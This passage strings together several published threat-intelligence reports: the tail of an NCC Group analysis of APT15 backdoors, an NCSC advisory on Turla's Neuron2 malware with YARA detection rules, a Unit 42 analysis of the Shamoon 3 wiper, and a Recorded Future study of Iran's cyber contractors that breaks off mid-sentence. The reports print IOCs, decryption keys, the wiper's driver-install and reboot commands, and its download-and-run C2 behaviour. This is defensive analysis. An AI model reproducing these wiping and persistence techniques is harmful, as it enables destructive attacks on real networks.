spwebmember was written in Microsoft .NET and includes hardcoded values for client project names for data extraction. The tool would connect to the SQL SharePoint database and issue a query to dump all data from the database to a temporary file affixed with 'spdata'. The group also used keyloggers and their own .NET tool to enumerate folders and dump data from Microsoft Exchange mailboxes. APT15 was also observed using Mimikatz to dump credentials and generate Kerberos golden tickets. This allowed the group to persist in the victim's network in the event of remediation actions being undertaken, such as a password reset. APT15 lives off the land Upon ejection from the network, APT15 managed to regain access a couple of weeks later via the corporate VPN solution with a stolen VPN certificate, which they had extracted from a compromised host. This time, APT15 opted for a DNS based backdoor: RoyalDNS. The persistence mechanism used by RoyalDNS was achieved through a service called 'Nwsapagent'. C2 of this backdoor was performed using the TXT record of the DNS protocol. C2 was communicating with the domain 'andspurs[.]com'. We mentioned earlier that due to the nature of the IE injection technique used by the HTTPbased backdoors, a number of C2 commands were cached to disk. We were able to recover these files and reverse engineer the encoding routine used by the backdoors in order to uncover the exact commands executed by the attacker. In total, we were able to recover more than 200 commands executed by the attacker against the compromised hosts and were able to gain a clear insight into the attacker's TTPs. Our decode scripts can be found on our Github page: https://github.com/nccgroup/Royal_APT Analysis of the commands executed by APT15 reaffirmed the group's preference to 'live off the land'. They utilised Windows commands in order to enumerate and conduct reconnaissance activities such as tasklist.exe, ping.exe, netstat.exe, net.exe, systeminfo.exe, ipconfig.exe and bcp.exe. Lateral movement was conducted through by a combination of net command, mounting the C$ share of hosts and manually copying files to or from compromised hosts. APT15 then used a tool known as RemoteExec (similar to Microsoft's Psexec) in order to remotely execute batch scripts and binaries. During our analysis of the decoded attacker commands we noticed a typographical mistake, shown below in the folder name 'systme'. This indicates that a human operative was executing commands on a command line style interface, rather than an automated or GUI process. IOCs Below are a number of hashes relating to the backdoors identified in use by APT15 Royal DNS: bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d> BS2005: 750d9eecd533f89b8aa13aeab173a1cf813b021b6824bc30e60f5db6fa7b950b BS2005: 6ea9cc475d41ca07fa206eb84b10cf2bbd2392366890de5ae67241afa2f4269f RoyalCli: 6df9b712ff56009810c4000a0ad47e41b7a6183b69416251e060b5c80cd05785 MS Exchange Tool: 16b868d1bef6be39f69b4e976595e7bd46b6c0595cf6bc482229dbb9e64f1bce NCC Group & Fox-IT have created a number of Suricata IDS rules to detect APT15 activity through the use of these backdoors. These, along with YARA signatures for the backdoors identified, can be found in the Github repository linked above. Domains The RoyalCli backdoor was attempting to communicate to the following domains: News.memozilla[.]org video.memozilla[.]org The BS2005 backdoor utilised the following domains for C2: Run.linodepower[.]com Singa.linodepower[.]com log.autocount[.]org RoyalDNS backdoor was seen communicating to the domain: andspurs[.]com Possible linked APT15 domains include: Micakiz.wikaba[.]org cavanic9[.]net ridingduck[.]com zipcodeterm[.]com dnsapp[.]info Published date:  10 March 2018 Written by:  Rob Smallridge TLP WHITE Turla group update Neuron malware Version 1.0 Reference: NCSC-Ops/04-18 18 January 2018 Crown Copyright 2018 TLP WHITE Page 1 of 8 TLP WHITE About this Document This NCSC report provides new intelligence on the Neuron malware, a tool used by the Turla group to target the UK. It contains IOCs and signatures for detection and network monitoring. Handling of the Report Information in this report has been given a Traffic Light Protocol (TLP) of WHITE, which means it can be shared within and beyond the CiSP community with no handling restrictions. Disclaimer This report draws on reported information, as well as information derived from industry sources. TLP WHITE Page 2 of 8 TLP WHITE Contents About this Document ........................................................................................................................... 1 Handling of the Report......................................................................................................................... 2 Disclaimer .............................................................................................................................................. 2 Introduction............................................................................................................................................ 4 Summary of changes ....................................................................................................................... 4 Neuron Updates ................................................................................................................................... 5 Loader ................................................................................................................................................ 5 Payload .............................................................................................................................................. 6 Encryption ...................................................................................................................................... 6 Communications ........................................................................................................................... 6 Associated Files ............................................................................................................................... 6 Neuron Yara ...................................................................................................................................... 7 TLP WHITE Page 3 of 8 TLP WHITE Introduction In November 2017, the NCSC released an advisory highlighting the Turla Group s use of the tools Neuron and Nautilus.1 Since then, the NCSC has identified a new version of the Neuron malware. The new version has been modified to evade previous detection methods. Neuron operates on Microsoft Windows platforms, primarily targeting mail servers and web servers. The NCSC has observed this tool being used by the Turla group to maintain persistent network access and to conduct network operations. The compile times contained within these new binaries show that the actor implemented the required modifications to Neuron approximately five days after public releases by the NCSC and other vendors. This NCSC report provides new intelligence on the Neuron malware, a tool used by the Turla group to target the UK. It contains IOCs and signatures for to be used for network monitoring and detection. The files analysed in this report are available on VirusTotal. Summary of changes to Neuron malware The .NET payload is loaded in-memory as opposed to being dropped to disk; Communications have been modified to avoid detection; Some encryption methods have replaced RC4 with AES; The modifications are sufficient to avoid previously released signatures & IOCs. https://share.cisp.org.uk/docs/DOC-6912 TLP WHITE Page 4 of 8 TLP WHITE Neuron Updates A sample of Neuron was recently uploaded to VirusTotal. This sample appears to be an updated version of Neuron. Changes have primarily been made to the dropper and loading mechanisms. The PDB string embedded within the binary supports the assumption that this is a newer version by referring to itself as neuron2 D:\Develop\sps\neuron2\x64\Release\dcomnet.pdb This sample contains sufficient modifications to frustrate detection, allowing Turla operations to continue. Loader With previous versions of Neuron, a native dropper was utilised to write the main payload to disk, establish persistence and ensure execution. This latest version uses a native x64 loader to execute the .NET payload in-memory. The payload is encrypted within the loader, which ensures the payload never touches disk in plaintext. This modification has likely been made to evade detection during disk scans performed by anti-virus products, however anti-virus products that scan memory will still likely be able to detect the payload running. The loader has the required exports to enable the configuration as a service, therefore it's believed this will be the method used for persistence. The loader can also specify which endpoints (HTTP(S) or pipe) to listen on by passing them to the .NET executable as arguments. In this sample the endpoints specified are different to previous versions: http://*:80/OWA/OAB/ https://*:443/OWA/OAB/ If no arguments are provided the payload will use the following defaults for HTTP(S) or pipes: http://*:80/W3SVC/ https://*:443/W3SVC/ pipe://*/Winsock2/baseapi_http Error handling has been added to the new payload. If the webserver encounters an exception it will attempt to use the default values above, if another exception occurs then the payload will revert to using the default HTTP (port 80) value. TLP WHITE Page 5 of 8 TLP WHITE Payload The main payload is still a .NET executable, but several modifications have been made to its operation which are described below Encryption Previous versions of Neuron used RC4 for the encryption of data stored on disk or sent over the network. Portions of the updated Neuron service have been migrated to AES, however, some components still rely on the RC4 implementation, such as encrypting command information. The actors have configured multiple hardcoded encryption keys rather than using one for everything. For example, one is used for normal communication between nodes, and another is used if the node is proxying a request. These modifications are likely implemented to make detection and decryption by network defenders more difficult. Communications The communication between clients and servers has also changed to avoid detection. The server expects a POST request, but rather than using the previous pre-defined parameter names (cid, cadata etc.), the new function loops through each parameter looking for certain characters within that parameter s value to determine what functionality should be performed. This will allow the parameter names to be randomly generated and/or regularly changed, making it more difficult for network defenders to reliably detect communications. As an example, the following characters are looked for (in the order shown) to determine which functionality should be performed: Character Functionality Set the AES salt ( and ) Return list of storage files Get and return defined storage file Add specified storage file to local storage (write to disk) Send RSA encrypted encryption key (machine GUID) Proxy request through to another address , but not _ Perform specified command and return result Associated Files TLP WHITE Page 6 of 8 TLP WHITE Name dcomnet.dll Description Neuron2 Loader (x64) 60bcc6bc746078d81a9cd15cd4f199bb SHA1 c9fc7ce10aba20894ef914d2073021a48995db17 SHA256 51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927 Size 170496 Compile Time 28 Nov 2017 06:25:24 Name neuron2.exe Description Neuron2 Payload d891c9374ccb2a4cae2274170e8644d8 SHA1 2fb145c64263006a95a0771b57e967977f63954d SHA256 83d8922e7a8212f1a2a9015973e668d7999b90e7000c31f57be83803747df015 Size 59392 Compile Time 28 Nov 2017 04:44:26 Neuron Yara rule neuron2_loader_strings { meta: description = "Rule for detection of Neuron2 based on strings within the loader" author = "NCSC" hash = "51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927" strings: $ = "dcom_api" ascii $ = "http://*:80/OWA/OAB/" ascii $ = "https://*:443/OWA/OAB/" ascii $ = "dcomnetsrv.cpp" wide $ = "dcomnet.dll" ascii $ = "D:\\Develop\\sps\\neuron2\\x64\\Release\\dcomnet.pdb" ascii condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and 2 of them TLP WHITE Page 7 of 8 TLP WHITE rule neuron2_decryption_routine { meta: description = "Rule for detection of Neuron2 based on the routine used to decrypt the payload" author = "NCSC" hash = "51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927" strings: $ = {81 FA FF 00 00 00 0F B6 C2 0F 46 C2 0F B6 0C 04 48 03 CF 0F B6 D1 8A 0C 14 8D 50 01 43 32 0C 13 41 88 0A 49 FF C2 49 83 E9 01} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them rule neuron2_dotnet_strings { meta: description = "Rule for detection of the .NET payload for Neuron2 based on strings used" author = "NCSC" hash = "83d8922e7a8212f1a2a9015973e668d7999b90e7000c31f57be83803747df015" strings: $dotnetMagic = "BSJB" ascii $s1 = "http://*:80/W3SVC/" wide $s2 = "https://*:443/W3SVC/" wide $s3 = "neuron2.exe" ascii $s4 = "D:\\Develop\\sps\\neuron2\\neuron2\\obj\\Release\\neuron2.pdb" ascii condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $dotnetMagic and 2 of ($s*) TLP WHITE Page 8 of 8 Shamoon 3 Targets Oil and Gas Organization unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization By Robert Falcone December 13, 2018 Summary On December 10, a new variant of the Disttrack malware was submitted to VirusTotal (SHA256:c3ab58b3154e5f5101ba74fccfd27a9ab445e41262cdf47e8cc3be7416a5904f) that shares a considerable amount of code with the Disttrack malware used in the Shamoon 2 attacks in 2016 and 2017 that we previously published here, here, and here. While we could not identify the impacted organization from the malware, today Saipem disclosed they were attacked. In previous attacks, we were able to determine the impacted organization based on the domain names and credentials used by the Disttrack tool to spread to other systems on the network. However, that functionality was missing from this sample. Unlike past Shamoon attacks, this particular Disttrack wiper would not overwrite files with an image. Instead it would overwrite the MBR, partitions, and files on the system with randomly generated data. According to a press release, Saipem confirmed that they experienced a cyberattack that involved a variant of the Shamoon malware. The attack caused infrastructure and data availability issues, forcing the organization to carry out restoration activities. Saipem told Reuters that 300 systems on their network were crippled by the malware related to the 2012 Shamoon attacks. While we cannot definitively confirm that Saipem was the impacted organization, the timing of this incident with the emergence of the Disttrack sample discussed in this blog is quite coincidental. Dropper The sample submitted to VirusTotal is a Disttrack dropper, which is responsible for installing a communications and wiper module to the system. The dropper is also responsible for spreading to other systems on the same local network, which it accomplishes by attempting to log into other systems on the network remotely using previously stolen usernames and passwords. Unfortunately, this particular sample does not contain any domains, usernames, or passwords to perform this spreading functionality, so this sample would only run on the system in which it was specifically executed. The dropper has a hardcoded kill time of 12/7/17 23:51 ; if the system date is after this date the dropper installs the wiper module and starts wiping files on the system. The dropper reads the %WINDOWS%\inf\mdmnis5tQ1.pnf file to obtain a custom kill date that it will use instead of the hardcoded time. The communications module installed by the dropper writes to this file, which will be discussed in a later section. The dropper also decrypts a string \inf\averbh_noav.pnf that is the other file that the communications module uses to write system information to and if the wiper was able to successfully wipe the system, but the dropper does not appear to use this file. The dropper has three resources, two of which contain embedded modules, specifically a communications module and a wiper module. The third resource contains an x64 variant of the dropper, which it will use if the architecture of the system is determined to be x64. The resources have a language set to SUBLANG_ARABIC_YEMEN that was also found in the previous Disttrack samples used in Shamoon 2 attacks. The resource names are PIC, LNG, and MNU, which are slightly altered versions of the ICO, LANG, and MENU names found in previous samples. The dropper extracts modules from these resources by seeking a specific offset and reading a specific number of bytes as the length of the ciphertext. The dropper then decrypts the ciphertext by using an XOR cipher and a specific base64 encode string that is decoded and used as the key. Before accessing the ciphertext, the dropper subtracts 14 from the specified offset, which is the same as previous Disttrack samples delivered in Shamoon 2 attacks. Tables 1, 2, and 3 include the resources, the information used to extract them, and the resulting module. Resource name Description x64 variant of Dropper Base64 Key 2q9BQGHGVktPVIMZ6Nx17Njp4B5mHgj51hbybNInRWsNIWniq6hOYvf5CksMXvPOyl/3dYKDn7ymSGlK0+l5KA8YC8dzkkAwmn0nbBO97HgjJKJyL9DoiYKsO2M+A44NgO Offset 8786-14 Length 983552 SHA256 of Cleartext 0975eb436fb4adb9077c8e99ea6d34746807bc83a228b17d321d14dfbbe80b03 Table 1 Resource containing the x64 variant of the Disttrack dropper Resource name Description Communications module Base64 Key U3JGgjNUDzWJEpOxzuwHjOijgav56cZatHh98dLbazGIBe7UMOcvdyCvU5/8mH1n7jUcMSIPFmqr7M671h5jradiKMn9M1sBdAmKSZUnXhz6FQKcvzkOee6EKEQZdKABTK Offset 8601-14 Length 266752 SHA256 of Cleartext 0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe Table 2 Resource containing the communications module in the Disttrack dropper Resource name Description Wiper module Base64 Key cb5F91PLTu1hN8oPgG2a6AQiJkphsXAmWFarsUoYEFo/BNgxF8Rj/hdzHxW/k/fLCZboSJRLnr9OH578IJyiSSdvz3uUaNA/vycy7ZJaZ8Vf36i0L8fF9GYY4/glZt570dbuT8N7N6 Offset 7892-14 Length 402432 SHA256 of Cleartext 391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c Table 3 Resource containing the wiper module within the Disttrack dropper The dropper will install itself to the system (and remote systems if spreading was possible) by creating a service with the attributes listed in Table 4 below. Service name MaintenaceSrv Service display name Maintenace Host Service Service description The Maintenace Host service is hosted in the LSA process. The service provides key process isolation to private keys and associated cryptographic operations as required by the Common Criteria. The service stores and uses long-lived keys in a secure process compl\x1d Binary path MaintenaceSrv32.exe or MaintenaceSrv64.exe Table 4 Service created by the Disttrack dropper The dropper chooses a random name when installing the communication and wiper modules to the system. The communications module will have one of the following filenames with the file extension: netnbdrve prnod802 netrndiscnt netrtl42l mdmadccnt prnca00 bth2bht_ibv32 cxfalcon_ibL32 mdmsupr30 digitalmediadevicectl mdmetech2dmv netb57vxx winwsdprint prnkwy005 composite005 mdmar1_ibv32 prnle444 kscaptur_ibv32 mdmzyxlga usbvideob input_ibv48 prnok002_ibv averfx2swtvZ wpdmtp_ibv32 mdmti_ibv32 printupg_ibv32 wiabr788 The wiper module will have one of the following filenames with the file extension: _wialx002 __wiaca00a tsprint_ibv acpipmi2z prnlx00ctl prngt6_4 arcx6u0 _tdibth prncaz90x mdmgcs_8 mdmusrk1g5 netbxndxlg2 prnsv0_56 af0038bdax averfix2h826d_noaverir megasasop hidirkbdmvs2 vsmxraid mdamx_5560 wiacnt7001 Wiper The wiper module (SHA256: 391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c) that the dropper writes to the system is responsible for overwriting the data within the MBR, partitions, and files on the system. The wiper carries out this wiping using a legitimate hard disk driver called RawDisk by ElDos. The wiper contains the ElDos RawDisk driver in a resource named that it extracts by skipping to offset 1984 and reading 27792 bytes from that offset. It then decrypts the data using aa 247-byte key and saves it to %WINDOWS%\system32\hdv_725x.sys . The wiper then creates a service named hdv_725x for this driver using the following command line command and runs it with sc start hdv_725x sc create hdv_725x type= kernel start= demand binpath= %WINDOWS%\system32\hdv_725x.sys This wiper was configured using the flag, which generates a buffer of random bytes that it will use to overwrite the MBR, partitions and files. The sample supports two additional configuration flags as well, specifically and flags that will either overwrite files using a file or encrypt its contents. The wiper could be configured to use a file to overwrite the files on the disk using the configuration flag, as we saw images used to overwrite files in previous Shamoon attacks. This file would be stored in a resource named GRANT , but this particular wiper is not configured to use a file for overwriting so the GRANT resource does not exist. If it were configured to use a file, this sample would extract the file using the information listed in Table 5. Resource name GRANT Description File to overwrite within Wiper module Base64 Key heocXOK4rDmQg4LRfiURI9wSOuSMwe0e69NfEpZLmyNixiUGYdEtpx/ZG3rMRN7GZlJ1/crQTz5Bf6W0xgkyYCwzD247FolCGA0EE5U/Oun5qlDd1u1CA+fee7cG Offset 71-14 Length SHA256 of Cleartext Table 5 Resource in wiper module that would contain file to use for overwriting data This sample is also capable of being configured to import an RSA key to encrypt the MBR, partitions, and files via configuration flag . This sample was not configured to encrypt files, and the RSA key is empty in the wiper. After completing this wiping functionality, the sample will reboot the system using the following command line, which will render it unusable when the system reboots as the important system locations and files have been overwritten with random data: shutdown -r -f -t 2 Communications The communications module (SHA256: 0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe) dropped by the Disttrack dropper will use the following two supporting files: %WINDOWS%\inf\mdmnis5tQ1.pnf Used to set a wipe date for associated wiper module %WINDOWS%\inf\averbh_noav.pnf Used to mark successful wiping The communications module is responsible for reaching out to hardcoded URLs to communicate with the C2 server, but like previous Disttrack samples, this communication module does not contain functional C2 domains to use in the URLs. If it did, it would create a URL with a parameter named selection followed by system information and the contents of the averbh_noav.pnf file, as seen here: [C2 URL, empty]?selection=[system info and contents of averbh_noav.pnf] When communicating with the C2 URL, the communications module would use a User Agent of Mozilla/13.0 (MSIE 7.0; Windows NT 6.0) , which is the same as past Disttrack communication module samples. Table 6 below show the two commands the C2 could respond with that the communications module could handle. Command Description Reads base64 encoded file from the C2 server, runs del /f /a %TEMP%\Temp\reilopycb\*.exe to delete previously downloaded executables, runs mkdir %TEMP%\Temp\reilopycb] > nul 2>&1 to create a folder and saves the executbale to a file named [tick count].exe . The Trojan then runs the downloaded executable %TEMP%\Temp\reilopycb\[tick count].exe Opens the \inf\mdmnis5tQ1.pnf file and writes a supplied date to the file. The \inf\mdmnis5tQ1.pnf file is used by another associated module to this communications module that is responsible for wiping the system. Table 6 Commands available within the communication module s command handler Conclusion The Disttrack sample uploaded to VirusTotal is a variant of the samples used in the Shamoon 2 attacks in 2016 and 2017. The tool does not have the capability to spread to other systems on the local network. Instead it would have to be loaded onto and executed on the system that the actors intend to wipe. The wipe date of 12/7/2017 does not seem timely. However, this older date is still effective as the Disttrack dropper will install and run the wiper module as long as the system date is after the wipe date. Unlike past Shamoon attacks, this particular Disttrack wiper would not overwrite files with an image. Instead, it would overwrite the MBR, partitions and files on the system with random data. While we can t confirm this sample was used in the Saipem attack, it is likely at least related to it. Palo Alto Networks customers are protected from this threat: WildFire detects all samples associated with this attack with malicious verdicts AutoFocus customers can track this attack and previous Shamoon attacks using the Disttrack Indicators of Compromise c3ab58b3154e5f5101ba74fccfd27a9ab445e41262cdf47e8cc3be7416a5904f Disttrack Dropper x86 0975eb436fb4adb9077c8e99ea6d34746807bc83a228b17d321d14dfbbe80b03 Disttrack Dropper x64 0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe Disttrack Comms module x86 391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c Disttrack Wiper module x86 6985ef5809d0789eeff623cd2436534b818fd2843f09fa2de2b4a6e2c0e1a879 ElDos RawDisk Driver x86 ccb1209122085bed5bded3f923835a65d3cc1071f7e4ad52bc5cf42057dd2150 Disttrack Comms module x64 dab3308ab60d0d8acb3611bf364e81b63cfb6b4c1783864ebc515297e2297589 Disttrack Wiper module x64 bc4513e1ea20e11d00cfc6ce899836e4f18e4b5f5beee52e0ea9942adb78fc70 ElDos RawDisk Driver x64 2019 Palo Alto Networks, Inc. All rights reserved. CYBER THREAT ANALYSIS Iran s Hacker Hierarchy Exposed How the Islamic Republic of Iran Uses Contractors and Universities to Conduct Cyber Operations By Levi Gundert, Sanil Chohan, and Greg Lesnewich Recorded Future Recorded Future | www.recordedfuture.com | CTA-2018-0509 Scope Note: Insikt Group conducted interviews with a former Iranian hacker with first-hand knowledge of the information shared and was living in Iran when he started one of Iran s first security forums. This source s commentary forms the basis for the background on the genesis of Iran s offensive cyber efforts. Additional research was facilitated with Recorded Future and by leveraging thirdparty metadata and open source intelligence (OSINT) techniques using a variety of tools. While we address historical background and precedent in the piece, the technical analysis regarding organizations and institutes in Iran s offensive cyber program is based on data collected from March 1, 2018 to April 30, 2018. Executive Summary Since at least 2009, the Islamic Republic of Iran has regularly responded to sanctions or perceived provocations by conducting offensive cyber campaigns. The Islamic Republic has historically preferred to use proxies or front organizations both in physical conflict Hezbollah against Israel and Yemen rebels against Saudi Arabia and cyberattacks to achieve their policy goals. Currently, Iran faces the prospect of negative economic impact via renewed sanctions. On May 8, 2018 President Trump announced that the United States would not renew the waivers on sanctions against Iran. The U.S will instead impose additional economic penalties , the combination of which amounts to a de facto U.S. withdrawal from the 2015 Joint Comprehensive Plan of Action (JCPOA) (commonly referred to as the Iran nuclear deal We assess, based on Iran s previous reactions to economic pressure, that with President Trump s exit from the JCPOA, Iran is likely to respond by launching cyberattacks on Western businesses within months, if not faster. Judging from historical patterns, the businesses likely to be at greatest risk are in many of the same sectors that were victimized by Iranian cyberattacks between 2012 and 2014 and include banks and financial services, government departments, critical infrastructure providers, and oil and energy. Key Judgments The Islamic Republic has abandoned its typically deliberate and methodical approach to cyber operations on only two known occasions, in 2012 and in 2014, when a quick reactionary response was required. We assess that when Iranian cyber operators respond to the U.S. withdrawal from the JCPOA that the operations will be staffed and executed by capable, but less trusted contractors. Further, we assess that staffing these operations with less trusted contractors could result in a scenario where the Islamic Republic has difficulty controlling the scope and scale of the destructive cyberattacks once they have begun. Recorded Future | www.recordedfuture.com | CTA-2018-0509 Iranian cyber operations are administered via a tiered approach, where an ideologically and politically trusted group of middle managers translate intelligence priorities into segmented cyber tasks which are then bid out to multiple contractors. This creates a quasi-capitalistic system that pits contractors against each other for influence with the Iranian government. The Islamic Republic operates with embedded paranoia, where ultimately, no one can be trusted. The situation creates unique trade-offs in Iran s government-sanctioned offensive cyber campaigns; individuals with demonstrated adherence to the government s ideology and individuals with the greatest offensive cyber skills are almost always mutually exclusive. Based on our source s conversations with other hackers in Iran, there are over 50 estimated contractors vying for Iranian government-sponsored offensive cyber projects. Only the best individuals or teams succeed, are paid, and remain in business. Insikt Group analyzed internet traffic relating to various institutes affiliated with the Iranian cyber ecosystem from March 1, 2018 to April 30, 2018. As this is the first profiling of Iranian internet activity for these institutes, we cannot determine whether the suspicious activity we analyzed was in preparation of the U.S. announcement. According to Insikt Group s source, to find and retain the best offensive cyber talent, Iranian government contractors are forced to mine closed-trust communities. The links between the forums and contractors may illustrate that the trust communities begin with the Iranian security forums. The History of Iranian Geopolitical Response and the Nuclear Agreement Decision Editor s Note: Where applicable, information in this section was provided by a former Iranian hacker with direct access to the information provided. Based on additional corroboration, we assess high confidence in this information. We refer to this individual as Insikt Group s source in other sections where their information is cited. Since 1979, Iran s reactions to perceived Middle Eastern adversaries foreign policy has been a study in the use of proxies. Specifically, Israel, Saudi Arabia, United States, and Iraq have been frequent targets of Iranianfunded military actions, most recently through Houthi rebels in Yemen, and Hezbollah everywhere else. Since 2009, Iran has developed proxies in the cyber domain to partially obfuscate government fingerprints from foreign attacks. Subsequent to starting a cyber operations program in 2009, the Iranian government had an immediate need to use the program in the fall of 2012 after U.S. President Obama imposed severe financial sanctions on Iran, including removing Iran from the SWIFT money transfer system. Recorded Future | www.recordedfuture.com | CTA-2018-0509 According to Insikt Group s source, the Iranian government authorized denial-of-service attacks on America s largest financial services companies as an immediate response to the sanctions in a campaign dubbed Operation Ababil. A quick response was top priority, so time and planning were forgone luxuries for the Iranian government. Instead, the Iranian government opted for speed and the most capable actors, regardless of demonstrated ideology. Similarly, a year later in the fall of 2013, Sheldon Adelson (the CEO of Sands Corporation) publicly suggested that the United States should attack Iran with an atomic weapon. In February 2014, Iran launched a destructive attack on the Sands Las Vegas Corporation that caused significant network damage. This was the second public Iranian attack campaign on an American business, where the response called for speed over time and preparation. The Iranian attacks in 2012 and 2014 were in contrast to the relatively slow and methodical work of APT 33, APT 34, and APT 35, developing custom malware, targeting data exfiltration from strategic intelligence targets such as U.S. military contractors, Middle East energy companies, and university research networks. Comparing Iranian campaigns methodical versus reactionary. Recorded Future | www.recordedfuture.com | CTA-2018-0509 Building a National Capability History and Relationships Between Proxies The Iranian Revolution replaced the Persian monarchy and transitioned the Shah s power to the Islamic Republic, led by Ayatollah Ruhollah Khomeini. Loyalty to the resulting theocracy was defined by alignment to the Supreme Leader s moral precepts. The new leaders of Iran also established an intelligence and security organization, the Islamic Revolutionary Guard Corps (IRGC), charged with defending the Islamic Republic against internal and external threats. Currently, the IRGC is Iran s premier security organization and possesses an army, navy, and air force, and manages Iran s ballistic missile arsenal and irregular warfare operations through its elite Quds Force and proxies such as Hezbollah. The IRGC has a vast domestic information security and monitoring mandate, as well as broad foreign mission, and has been linked to cyberattacks against Western institutions since at least 2011. According to Insikt Group s source, during the 2009 Green Revolution, Gerdab.ir emerged as the IRGC s domestic hacking group tasked with targeting opposition news websites and individuals considered immoral by the regime. Iranian hackers targeting Iranian government resources (one example was defacing Khamanei.ir) were identified by Gerdab and imprisoned. Gerdab continues to act as the Iranian government s internal censor. Following the Green Revolution, the Iranian government considered adding a formal offensive cyber component to its existing intelligence apparatus, and was forced to address a personnel problem. Iran needed a talented, but politically and religiously reliable workforce. Stuxnet and scientist assassinations reminded Iran of the efficacy of Mossad and CIA programs, and according to Insikt Group s source, fervent religious ideology was the only way to demonstrate loyalty and build trust. The emergence of the Iranian Cyber Army (ICA) as an extension of the IRGC was an initial attempt by the Islamic Republic at conducting internationally focused operations. These operations were a departure from Gerdab focus on maintaining domestic moral values and defending government rhetoric. In 2011, the IRGC s ICA formed the foundation of the Khaybar Center for Information Technology. According to a former IRGC cyber commander, the Khaybar Center was established in 2011 and has been linked to a number of attacks against the United States, Saudi Arabia, and Turkey. Even today, the balance between ideology and cyber skills remains problematic. One example of the conflict between ideology and skill was Mohammad Hussein Tajik, a former cyber commander within the IRGC. According to Insikt Group s source, Tajik s father maintained a strong religious background and was a veteran of Iran s ministry of intelligence. Yet Tajik was arrested and killed because the Iranian government feared that Tajik was not ideologically aligned and posed a betrayal and flight risk. Recorded Future | www.recordedfuture.com | CTA-2018-0509 Following the Green Revolution, Iran s government needed to quickly improve its cyber capabilities, but according to Insikt Group s source, the talent was primarily young and focused on financial benefits. This motivation bred government mistrust, as the Islamic Republic feared that the financially motivated could be bought by foreign intelligence services. Additionally, many of the original Iranian hackers responsible for mass defacements hated authority and lacked the discipline necessary for government work. According to Insikt Group s source, the government answer was a tiered approach, with a network of people unofficially associated with the IRGC and Iranian government a type of ideologically aligned middle management that were loyal to the regime and demonstrated sufficient religious commitment. This middle tier translated intelligence priorities into segmented cyber tasks which were then bid out to multiple contractors. Sometimes the contractors would compete with each other, sometimes they would work together, but payment was only made once the objective was completed. The result was (and presently remains) a quasi-capitalistic system that pitted contractors against each other for influence with the Iranian government. In the Islamic Republic, influence can lead to security and wealth, but it can also lead to a false sense of security (no one is above being imprisoned and questioned at any given time). Thus, contractors must learn to play the game enough surface-level adherence to the regime s ideology to gain temporary reprieves from suspicion long enough to be given contracted work. To the Iranian government, ideology is more important than skills. Deep belief in the Ayatollah s precepts and the government s goals helps to avoid defections and traitors. Obfuscating Iranian government involvement in offensive campaigns. Recorded Future | www.recordedfuture.com | CTA-2018-0509 Today, based on ongoing contact between Insikt Group s source and Iranian hackers, it is estimated that there are over 50 organizations vying for government-sponsored offensive cyber projects. Only the best teams succeed, are paid, and remain in business. The government does its best to compartmentalize one job might be creating a remote code exploit (RCE) for a popular software application, while another job might be using the RCE and establishing persistent unauthorized access. Two different contractors (or more) are typically required to complete the government-defined objective. Public knowledge has also established that Iranian academic institutions play a contractor-like role. Specific examples include Shahid Beheshti University (SBU) and the Imam Hossein University (IHU), which have comprehensive science and technology departments attracting some of the best academic talent in Iran. In fact, the SBU has a specific cyberspace research institute dedicated to such matters, and the IHU was founded by the IRGC. As the Mabna Institute indictments highlight, despite the lifting of sanctions and an appetite to re-engage with the international community, Iran has continued a subversive and aggressive global cyber operations campaign. This ongoing campaign, which targets universities for scientific and technological intellectual property theft, demonstrates a fundamental lack of trust in the international agreements, including the Joint Comprehensive Plan of Action (JCPOA). Relationship Between the Iranian Government, Contractors, and Security Forums Clearsky, FireEye, Symantec, and PhishLabs have all performed significant research on Iranian nation-state-sponsored campaigns that provide historical insight into technical capabilities and relationships between the Iranian government and contractors. The work of the aforementioned security companies and recent U.S. Department of Justice indictments provides consistent evidence that Iranian government-sponsored offensive campaigns are executed by contractors. FireEye disclosed that the Nasr Institute was an APT 33 contractor in an operation that used publicly available backdoors and remote access trojans. The handle xman_1365_x (self-identified on security forums as Mahdi Honarvar) was found by FireEye in malware artifacts, which open sources linked to the Nasr Institute. Previously, Nasr Institute had been associated with Operation Ababil s distributed denial-of-service attacks against American banks, an organization which a U.S. Department of Justice indictment confirms had been hired to build attack infrastructure by the Iranian government. The actor xman_1365_x was then linked to a security company called Kavosh Security via OSINT by Iran Cyber News Agency. The actor was linked to a destructive operation, which used NewsBeef and StoneDrill malware families. According to Kaspersky, the latter data wiping operation targeted sectors across Saudi Arabia and Europe. Recorded Future | www.recordedfuture.com | CTA-2018-0509 Command and control (C2) domains used by StoneDrill and NewsBeef in Kaspersky s findings were found to share an SSL certificate, which surfaced an additional three domains in research by the Iran Cyber News Agency. WHOIS information was then connected via open sources to Imam Hossein University (IHU). IHU was named in sanctions by the U.S. Treasury providing, or attempting to provide technological, or other support for and services in support of the IRGC. Additional publicly known Iranian contractors include ITSecTeam (ITSEC) and Mersad Company, also linked to Operation Ababil. The links between the Iranian government and contractors are well documented; however, the identity of specific groups and individuals within the Iranian government and IRGC responsible for offensive cyber campaigns is murky, as is the relationship between contractors and security forums. Yet, our research and analysis suggest that Iranian security forums may play a role in staffing and knowledge sharing for Iranian contractors. First, FireEye referenced the publicly available ALFA TEaM Shell in APT33 spear phishing email campaigns. The ALFA Shell is discussed in multiple web locations, including Ashiyane and Iranian Dark Coders Team Forum. ALFA TEaM shell history. Recorded Future | www.recordedfuture.com | CTA-2018-0509 Second, xman_1365_x created an Ashiyane profile on August 8, 2010, allegedly not long after 